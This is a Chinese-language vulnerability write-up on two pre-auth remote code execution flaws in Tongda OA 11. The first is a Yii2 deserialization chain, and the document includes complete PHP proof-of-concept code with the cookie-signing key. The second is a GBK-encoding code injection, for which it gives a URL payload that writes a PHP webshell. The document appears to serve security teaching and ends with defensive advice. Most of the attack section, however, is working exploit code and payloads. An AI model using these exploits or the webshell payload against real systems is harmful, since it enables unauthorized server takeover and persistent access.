【Web实战】对通达OA11前台RCE的两个漏洞的分析与调优
字数 1522 2025-08-10 08:28:47
通达OA11前台RCE漏洞分析与利用教学
1. 前台反序列化漏洞分析
1.1 漏洞背景
通达OA11系统中存在一个前台反序列化漏洞,攻击者可以在未授权的情况下通过精心构造的序列化数据实现远程代码执行(RCE)。
1.2 漏洞原理
漏洞存在于通达OA的cookie反序列化机制中,系统会接收并反序列化经过HMAC-SHA256签名的序列化数据。由于使用了存在安全问题的Yii2框架(版本2.0.13-dev),攻击者可以构造恶意序列化链实现代码执行。
1.3 反序列化链分析
1.3.1 反序列化起点
反序列化链从BatchQueryResult类的__destruct方法开始:
namespace yii\db {
class BatchQueryResult {
private $_dataReader;
public function __destruct() {
$this->reset();
}
public function reset() {
if ($this->_dataReader !== null) {
$this->_dataReader->close(); // 关键调用点
}
}
}
}
1.3.2 链式调用过程
- 通过
$this->_dataReader->close()调用触发ColumnSchemaBuilder的__toString方法 __toString中调用getTypeCategory方法getTypeCategory中对categoryMap进行数组式访问- 由于
categoryMap可控,可以设置为实现了ArrayAccess接口的ArrayCache类 - 触发
ArrayCache的offsetGet方法,最终到达call_user_func实现代码执行
1.3.3 关键利用点
namespace yii\caching {
class ArrayCache implements \ArrayAccess {
public function offsetGet($key) {
return $this->get($key);
}
public function get($key) {
$value = $this->getValue($key);
if ($this->serializer !== null) {
$value = call_user_func($this->serializer[1], $value); // 代码执行点
}
return $value;
}
}
}
1.4 漏洞利用POC
<?php
namespace yii\db {
class ColumnSchemaBuilder {
protected $type = 'x';
public $categoryMap;
function __construct($categoryMap) {
$this->categoryMap = $categoryMap;
}
}
class Connection {
public $pdo = 1;
function __construct($dsn) {
$this->dsn = $dsn;
}
}
class BatchQueryResult {
private $_dataReader;
function __construct($dataReader) {
$this->_dataReader = $dataReader;
}
}
}
namespace yii\caching {
class ArrayCache {
public $serializer;
private $_cache;
function __construct($function, $parameter) {
$this->serializer = [1 => $function];
$this->_cache = ['x' => [$parameter, 0]];
}
}
}
namespace {
$function = 'system';
$parameter = 'whoami';
$cache = new \yii\caching\ArrayCache($function, $parameter);
$csb = new \yii\db\ColumnSchemaBuilder($cache);
$conn = new \yii\db\Connection($csb);
$query = new \yii\db\BatchQueryResult($conn);
$data = serialize($query);
$data = hash_hmac('sha256', $data, 'tdide2').$data; // 通达OA的cookie反序列化校验
echo urlencode($data);
}
1.5 漏洞利用步骤
- 生成恶意序列化数据
- 计算HMAC-SHA256签名(密钥为'tdide2')
- 将签名与序列化数据拼接
- 将最终数据作为cookie发送给服务器
2. 前台代码注入漏洞分析
2.1 漏洞背景
通达OA11的/general/appbuilder/web/portal/gateway/getdata接口存在代码注入漏洞,攻击者可以通过精心构造的activeTab参数实现任意代码执行。
2.2 漏洞原理
漏洞源于AppUtils::toUTF8方法中对iconv函数的不安全使用,结合eval函数导致代码注入:
static public function toUTF8($value, $b_force) {
if (yii::$app->params["QuickConvertCharset"]) {
try {
$s_conv = iconv("GBK", "UTF-8", var_export($value, true) . ";");
if ($s_conv) {
eval("return " . $s_conv); // 代码执行点
}
}
// ...
}
}
2.3 漏洞触发路径
- 请求
/general/appbuilder/web/portal/gateway/getdata接口 - 传入
module=Carouselimage和恶意activeTab参数 - 数据经过
PortalComponent->GetData处理 - 调用
AppUtils::toUTF8进行编码转换 iconv函数处理GBK到UTF-8转换时产生字符逃逸- 最终导致
eval执行恶意代码
2.4 字符逃逸原理
利用GBK编码特性实现单引号逃逸:
錦的UTF-8编码是0xe98ca6- GBK编码是
0xe55c - 传入
%e5与转义的单引号\'组合成0xe55c即"錦" - 导致单引号逃逸出字符串边界
2.5 漏洞利用POC
/general/appbuilder/web/portal/gateway/getdata?activeTab=%e5',1%3d>fwrite(fopen("shell.php","w"),"<?php @eval(next(getallheaders()));"))%3b/*&id=19&module=Carouselimage
2.6 其他可利用组件
除了Carouselimage,其他组件也可利用:
-
Zhidao组件:
/general/appbuilder/web/portal/gateway/getdata?activeTab=%e5'.var_dump(111));/*&id=1&module=Zhidao -
More路由:
/general/appbuilder/web/portal/gateway/more?activeTab=%e5'.var_dump(111)));/*&id=1&module=Zhidao
3. 漏洞防御建议
-
反序列化漏洞防御:
- 禁用不可信的序列化数据
- 使用白名单限制可反序列化的类
- 更新Yii2框架到安全版本
-
代码注入漏洞防御:
- 对用户输入进行严格过滤
- 避免使用
eval函数 - 使用安全的字符编码转换函数
- 对
iconv函数进行严格的输入验证
-
通用防御措施:
- 实施最小权限原则
- 部署WAF防护
- 定期进行安全审计和代码审查
4. 总结
通达OA11的两个前台RCE漏洞分别利用了反序列化和字符编码转换的安全问题,都能导致严重的远程代码执行后果。安全团队应及时检查系统是否存在这些漏洞,并采取相应的防护措施。